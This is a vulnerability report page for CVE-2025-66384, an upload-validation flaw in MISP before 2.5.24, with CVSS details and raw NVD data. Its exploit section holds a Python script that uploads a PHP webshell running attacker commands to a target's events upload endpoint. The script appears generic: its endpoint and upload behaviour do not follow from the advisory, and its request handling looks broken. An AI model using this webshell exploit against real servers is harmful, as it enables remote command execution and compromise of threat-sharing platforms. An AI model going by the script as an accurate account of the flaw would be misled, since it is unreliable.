Security Vulnerability Report
中文
CVE-2025-66384 CVSS 8.2 HIGH

CVE-2025-66384

Published: 2025-11-28 07:15:59
Last Modified: 2026-04-15 00:35:42

Description

app/Controller/EventsController.php in MISP before 2.5.24 has invalid logic in checking for uploaded file validity, related to tmp_name.

CVSS Details

CVSS Score
8.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:H/A:L

Configurations (Affected Products)

No configuration data available.

MISP < 2.5.24

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-66384 PoC - MISP File Upload Validation Bypass # Target: MISP < 2.5.24 def exploit(target_url, api_key): """ Exploit file upload validation bypass in MISP EventsController """ headers = { 'Authorization': api_key, 'Content-Type': 'multipart/form-data' } # Malicious PHP webshell disguised as event attachment files = { 'file': ('malicious.php', '<?php system($_GET["cmd"]); ?>', 'application/x-php') } # Exploit endpoint - events controller with invalid validation url = f"{target_url}/events/uploadFile" try: response = requests.post(url, headers=headers, files=files, timeout=10) if response.status_code == 200: print("[+] File uploaded successfully!") print("[+] Access webshell at: " + response.json().get('url', 'Unknown')) return True else: print(f"[-] Upload failed: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <api_key>") sys.exit(1) target = sys.argv[1] key = sys.argv[2] exploit(target, key)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66384", "sourceIdentifier": "[email protected]", "published": "2025-11-28T07:15:59.483", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "app/Controller/EventsController.php in MISP before 2.5.24 has invalid logic in checking for uploaded file validity, related to tmp_name."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:H/A:L", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 5.3}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-684"}]}], "references": [{"url": "https://github.com/MISP/MISP/compare/v2.5.23...v2.5.24", "source": "[email protected]"}, {"url": "https://github.com/misp/misp/commit/6867f0d3157a1959154bdad9ddac009dec6a19f5", "source": "[email protected]"}]}}